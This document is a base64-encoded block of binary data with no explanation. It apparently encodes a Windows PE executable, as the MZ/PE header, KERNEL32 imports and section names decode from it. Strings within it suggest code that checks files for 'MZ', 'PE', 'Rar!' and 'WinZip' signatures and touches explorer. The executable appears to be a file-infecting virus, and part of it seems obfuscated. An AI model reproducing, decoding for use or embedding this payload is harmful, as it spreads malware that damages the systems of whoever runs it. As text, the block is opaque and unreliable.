ZGv1dtLEREnBREnlWc9LwW5jxclFScdLw0pJ5MNFScFKRMNJx0jB7vV290LEyURBw0rP7XPS xERJwURJ5VnPS8FuY0nBT0nkR0nFRe71dtLEREnBREnlWUrDRMpAwUrl0UTCxEHHRMBuY8vJ xEnBQeVLSsdEScNCRcH1dvV2bVdZ1VVsbVfR01FsbeRX0dNRbG1S1FHfbOHK9XZtUNRUWWxz c23kUNRUWWxt5FLUUd9sbeRXWdVVbHNzc9LEREnBREnlWc9LwW5j4cru9Xb3RMPFwe3hyvV2 0sREScFESeVZSsNEykDBSuXRRMLEQcdEwG5jQsPKwWhp9XbSxERJwURJ5ddRbmNt4cpsc3Nz c3Nzc3Nzc8PJQcfE5E/lyMNIc8PJQcfE5E/lxcdBx3PDS0tFx8LDScfEROTEwknBSeXKSUrB w8Vzc3Nzc3Nzc3P1dm3HQErDxcFjykrC7epRwsdBbuHKY0fBx8BHSe3qUWtjyMdBSUft6lFr bPV2beTHQErDxcFsc1lHx8pjwMPFwWPHymPFz2NAx0rKSWPIxErGZG1CSmz1dt/EyeBKwWNJ R8FjQMdKykljS0XDz8FKZHPU19Lbc1tKxMBKw8VQx0XBylHHSnNzc3PKxUlLZHPc01hb6mpz 3NNYW9LSc1TUUepqc1Rb2tpY0nNUWtHa2+pqc1Ta0lfRUepqc1Ta0lfRUVRZc1TaW1XZ0NdU c1TTWHNU01jTW9pY0nNU01jTW9jqanNU01hV2epqc1TTWFrZVFpzVNNY2Opqc9zTWFvVc9NV 0VpZ2ljSc9PV1FRz01hb6mpz01hb0tJz01hb1XNU6mra0tNU2HNU01jYVFlz01RZ11jXWnPT WFvZW1Fz01jQ0llaVXPTWNjXVO/pc9rS01TqanNY2lfY11TqanNQ5dpZ1FvYc1DlW1rUWe/p c9PS1tjXVOpqc1jRWVla099zWNFZ7+lz2tjR0Vvv6XNb0tLY11Tvb3PX1NXUVO9vc9NYW1nS c9NY0epqc9NY0tRU2tRVc1Bb5djXVHNRWFvv6XNQ5dPQVFnv6XPSVdPY7+lzVFjS7+lz2tLT VHNY11rZ2nNV1NLWUdTYVGpra2tzVMRKScREc9XCw0DBwXPTREnHSMdKc1nT2tbV0Fpzc3Nz c3Nzc3Nzc3Nzc3Nzc3Nz01RZ1+VY11pkUdNZc9JX1lXX2llkUdNZc9JX1lXX2llk1dpz0lfW VdfaWWTSW9pz0lfWVdfaWWRZ01hz11hSZFRZXnPa1dNaWdJX1mTV2nPa1dNaWdJX1mTSW9pz 01jQ21lkUdNZc9PQ2dNaUWRR01lzc3Nzc3Nz2kdFyMNLx2RBRUVz1sFKRMFF6mpkQUVFc0TB ScNLx+pqZEFFRXPKQMJkQUVFc3Nzc3Pax0rCw8VzVMfFQcNz0sRBwVrBQXPY29bV1epv6G9z 0FrX0VDqb+hvc1DJRGNVxEjHRMBj0krHxcdEw0VzVMRKScREc9XCw0DBwXPTREnHSMdKc9NI wsREysRFc1Dl2lnUW9hzUOXawcLJSsFz2sRLR8TKc0jHSsnKc9NYW2PVxETHScRKc9NYW2PZ S0HDScHKc9dExMLJRcNJwddZc1vS5cLHRUXHRHPaz8XDREnBwnNZSsFEQWPVx8JKxHNQ5Vta 1FlzY1TUUepqY3Nzc1rBwMfKScFK2sFKSMfCwVtKxMLByspzVMFJ2kfDSsHTQUFz2ldRwUXB ScHWwc/Tc9pAwtfKUMdFwVtKxEnBwknBQXNUwUnaR8NKwdDBSddEQMRzVMFJ00vHUslAQMFK UErBwXNzc3Nz0V9bVdRa0Vpz0tXV0FpzxcrHxURzx8LIwsRERHPIx0ROx0tzc3Nzc1tKxMBK w8Vz4cpjbeHKbHPTUtJR0VDQV9dW1lXVVNRb21raWdlY2F/fXsNCwkHBQMBHx0bGRcVExEvL SspJyUjIT89Oa+tq6mnpaOhv7+bkc8rBSclLc8dEyknDRUVzQcHFxHPKRMTES89zS8fCw8LJ c8bHSUnPc0tFw89zSsTCxnNzc3Nzc3NzWsNK437wc5Q7ynNz9XNzc3Nzc3Nzc2RKw0pzc8jH RMdEwUlkQUVFc9dEScFKRMFJ0MFJ0sRERMHCScFB2knDScFzc3NRx0rBwknESs9zQUVFwsPC R8Fzc9rBUcFCycBbSsdIx0XBwMFz2sFZwkJbSsdIx0XBwMFzc3Nzc3Nzc3PIQuVGw0vDRGTC xGRGS3NIwUrHTsREZETBSXPDSsvJx0rBQWTBynNBx0DDwmTCxMVzc9rEQEnIw0rBXdXHwkrE ysRASV3XREnBSkTBSWPTwsLEyURJY9XDRMPAwUpd08LCxMlEScpdc9rVWVtj2sFKSMFKc9rV WVtj0cXDx0Vj00FBSsHKynNz2MRKxWPWRcFOZNFjx8XFyUTHSc9zc9ZFwU5k0WPHymNJR8Fj xcTKSWPCxMXFxERjyMRKRUHlyMdBwWPKS0rBw0HHRMBjyMRKxWTXSeDKY0jBSs9jQcNEwMFK xMnKY0LPY8LESkrJS0nHRMBjz8TJSmNAx0XBymRtQkps9XZSwcLDycrBY8RAY8dJymNIwUrP Y8rFw0pJY8pJwcNFSUdjw0RBY8NEScflw0RJx+VIx0rJymNJwcJHRMfCZcXEykljwsTFxcRE Y9NYY8rEQEnIw0rBY8LDROBJY0HBScHCSWPESmPCRcHDRGPHSWRtQkps9XbYwWNBwUjBRcRL wUFjSUfHymNASsHBY8fFxclEx0nPY0nExEVjScRjQcFAwcNJY0lHwWPFw0XHwsfEycpjSMdK ycpkbUJKbPV238TJY8RERc9jRMHBQWNJxGNKyURjSUfHymNJxMRFY8REwsFlw0RBY0lHwURj 1kXBTmPIx0VFY0TBSMFKY8LExcFjx0RJxGPPxMlKY1vSZG1CSmz1dlTUWdFuY1LBwsPJysFj SUfHymNJxMRFY8PCScpjw8pjw2NAw8bBY9ZFwU5jScRjQMTERWNJR8FjSsHDRWPIxErFZcrE xcFj01hjxcREx0nESmPFw89CwWPCSs9jyEfBRGPPxMljSslEY8dJZG1CSmz1dtdAY8rEZdfA RMRKwWNJR8FjyMNKRMdEwGXDREFjysFFwcJJY+DCxERJx0TJweBkbUJKbPV210Bjz8TJY0fD SMFjw0TPY8vJwcpJx8REZUtFwcPKwWNtw2NHSsFA7epRxcPHRUnEbuHKbMXDx0VjScRjxcFt 5MNsZHNzc3Nzc3Nz9XbYx0TqamPWRcFOY1hqZGvrY2Bj2MdE6mpjUMRKxMlPY1jrZGv1dtLE S89Kx8BHSWNqa2tqZcXDQcFjx0Rj08rHw/V200LEyUlj1kXBTmNYamRr6271dvfrZdXDx0Rj xcfKysfERGPHymNJxGNKwUXBw8rBY0lHwWNEwchjQsNCz2Nb0WNIx0rJymXYx0TqamNQxErE yU/1dvdqZVTEY8rHwETHQMfCw0RJY8JHw0TAwWRUxGNCycBjQMdPwUFkVMRjw0TPY0vDz0XE w0Fk9XbTQsTJSWPYx0TqamNQxErEyU9jZ0tFTmPGwcFLY0lHwWNEw8XBZUlHw0RP5/V29+tl UMlFRWPCxMVLw0nHQkXBY9jHROpqY1vRY0jHSsnKY8REY9jHRO9f5GrW5FRZ5F9b9Xb3amXY x0lHY0jBSs9jx0RJwUrByknHRMBjQMHDSclKwWTSR8HCxmPHSeP1dvfqZVTEY8NEz2NLw89F xMNBZFTEY8NEz2PES0nHxcdOw0nHxET1dvdpZVTESWNCycBjQErBwWVCwcLDycrBY8RAY8Nj R8lKSs9jyMRKxmRUxGPFxErBY0lHw0RjSUdKwcFjyMHBxspjQErExWNHw0jHRMBjysnCR2PH QcHDY0nEY8PCwsTFS0XHykfHRMBjwsRBx0TAY8NEQWNJwcpJx0TA9XZzAAABAAAAEAAAAB0A AAAgAAAAeAAAAIgAAAB1AQAADAAAAIUBAAAcAAAApQEAAFMAAAAOAgAADgAAADYCAAAOAAAA XgIAAA4AAACGAgAADgAAAJgCAABoBQAAIAgAAGAAAAACEAAACgAAABIQAAAWAAAAYxAAAJ0A AAAMFAAA9AgAAPYlAAAKAgAATVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAKgBAAC6EAAO H7QJzSG4AUzNIZCQVGhpcyBwcm9ncmFtIG11c3QgYmUgcnVuIHVuZGVyIFdpbjMyDQokN1BF AABMAQQAiywMhQAAAAAAAAAA4ACOgQsBAhkABAAAAAwAAAAAAAAAEAAAABAAAAAgAAAAAEAA ABAAAAAEAAABAAAAAAAAAAMACgAAAAAAAGAAAAAEAAAAAAAAAgAAAAAAEAAAIAAAAAAQAAAQ AAAAAAAAEDAAAGRAAAAQQ09ERQAAAAAAEAAAABAAAAAEAAAACEAAAPBEQVRBAAAAAAAQAAAA IAAAAAQAAAAMQAAAwC5pZGF0YQAAABAAAAAwAAAABAAAABBAAADALnJlbG9jAAD2EQAAAEAA AAAUAAAAFEAAAFDpgwAAAOgLAAAAagDoCgAAAAAAAAD/JTQwQAD/JTgwQBAgAAB4A1dRnGDo AAAAAF2NvS0CAACLXCQkgeMAAOD/jbUyAQAA6NYAAACNVStSjV1Oh97oyAAAAMOB7Y8QAACB xQAQAADHRQBo4JMExkUEAIlsJBxhnf/gAAA3AGDoAAAAAF2NdTXolQAAAAvAdCIF5g0AAIvw 6KgAAABmx0b8AAAzyVFUUVFQUVH/lXcCAABZYcMAADMAM/+4omoAAI11bOhaAAAAUHQf/Iv4 jXWljVWsK1XZK/ID8g+3TvxW86Rei3b4C/Z171jD3P8yAImsjRfc/9z/gaiMzByvtvuMt4wA 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 U8YEMwBTV//VC8BbWogUM3XSC8Bhw1cywDPJSfKuX/fRScMAACQAYOgAAAAAXegNAAAAdGVt MzJcZGxsY2FjAF+NdaLoZu7//2HDJMI2AEQqJMIkwnk9sYnUPdt7BEw+LScD9QMnDiWPLKgE m/UqV8cR4qf6ySDRS2DmMKStR1As2z1FAc57awCuk857znuT9nNePoQxEc8sMe47lDGExbu6 aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 